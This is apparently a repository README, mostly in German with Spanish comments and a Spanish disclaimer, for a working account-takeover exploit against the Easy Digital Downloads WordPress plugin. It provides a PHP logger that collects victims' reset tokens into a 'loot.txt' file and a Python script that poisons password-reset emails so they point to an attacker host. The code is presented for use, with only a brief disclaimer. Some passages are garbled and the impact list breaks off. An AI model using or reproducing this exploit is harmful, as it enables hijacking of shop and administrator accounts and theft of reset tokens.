
🧨 CVE-2025-14783: Easy Digital Downloads Kontoübernahme-PoC
„Vertrauen ist der am leichtesten auszunutzende Sicherheitsfehler."
Dieses Repository enthält einen funktionsfähigen Proof of Concept (PoC) für CVE-2025-14783, eine kritische Password-Reset-Poisoning-Schwachstelle (Vergiftung des Passwort-Zurücksetzungsvorgangs) im Plugin Easy Digital Downloads (EDD) für WordPress (Versionen <= 3.6.2).
Aufgrund fehlender Validierung des Parameters edd_redirect während des Prozesses zur Anforderung einer Passwort-Zurücksetzung kann ein nicht authentifizierter entfernter Angreifer eine bösartige Domain injizieren. Dies führt dazu, dass die legitime E-Mail des Shops einen Zurücksetzungslink enthält, der auf den Server des Angreifers zeigt, wodurch das Zugriffstoken (key) preisgegeben wird und eine vollständige Account-Übernahme (Account Takeover, ATO) ermöglicht wird – sogar von Administratorkonten.
Der Fehler liegt in der Funktion, die die Zurücksetzungs-URL innerhalb der E-Mail erstellt. Der anfällige Code verwendet esc_url_raw(), um die Eingabe zu „bereinigen", validiert aber den Ziel-Host nicht.
// El desarrollador confió en que esc_url_raw era suficiente seguridad... error fatal.
$message = str_replace(
'{password_reset_link}',
add_query_arg(
array(
'edd_action' => 'password_reset_requested',
'key' => $key,
'login' => rawurlencode( $user_login ),
),
esc_url_raw( $_POST['edd_redirect'] ) // <--- PUNTO DE INYECCIÓN
),
$message
);
Wenn wir $_POST['edd_redirect'] kontrollieren, kontrollieren wir die Basis der generierten URL.
requests lib (pip install requests)Lade das folgende PHP-Skript (logger.php) auf deinen bösartigen Server hoch, um die Tokens der Opfer abzufangen.
<?php
// logger.php - Captura el token y el usuario
$key = $_GET['key'] ?? '';
$login = $_GET['login'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'];
$date = date('Y-m-d H:i:s');
if ($key && $login) {
$log = "[$date] TARGET: $login | TOKEN: $key | IP: $ip" . PHP_EOL;
file_put_contents('loot.txt', $log, FILE_APPEND);
echo "System maintenance. Please try again later."; // Ingeniería social básica
}
?>
Trage deine Ziele in das Skript exploit.py ein und führe es aus.
python3 exploit.py
exploit.py)import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# CONFIGURACIÓN
TARGET_URL = "http://vulnerable-shop.com/" # URL raíz de la tienda
VICTIM_EMAIL = "[email protected]"
ATTACKER_HOST = "http://tu-servidor-malicioso.com/logger.php"
def poison_reset_link():
print(f"[*] Objetivo: {TARGET_URL}")
print(f"[*] Víctima: {VICTIM_EMAIL}")
print(f"[*] Envenenando enlace con: {ATTACKER_HOST}")
# Payload para inyectar la redirección
data = {
'edd_action': 'user_send_password_reset',
'user_email': VICTIM_EMAIL,
'edd_redirect': ATTACKER_HOST
}
try:
# Enviamos la petición al endpoint principal (o donde EDD escuche el POST)
r = requests.post(TARGET_URL, data=data, verify=False, timeout=10)
if r.status_code == 200:
print("[+] ¡Éxito! Correo envenenado enviado.")
print("[*] Ahora espera a que la víctima haga clic en el enlace del correo.")
print("[*] Revisa 'loot.txt' en tu servidor para obtener el token.")
else:
print(f"[-] Fallo. Código de estado: {r.status_code}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
poison_reset_link()
| Vertraulichkeit | Integrität | Verfügbarkeit |
|---|---|---|
| HOCH 🟥 | HOCH 🟥 | NIEDRIG 🟩 |
Ein erfolgreicher Angreifer kann:
Este software se proporciona ÚNICAMENTE con fines educativos y de investigación de seguridad.
El autor (ZeroEthical) no se hace responsable del uso indebido de esta información.
Atacar objetivos sin consentimiento previo por escrito es ilegal y puede resultar en acciones legales severas.
Úsalo bajo tu propio riesgo en entornos controlados.
Powered by ZeroEthical
"We don't fix vulnerabilities, we demonstrate them."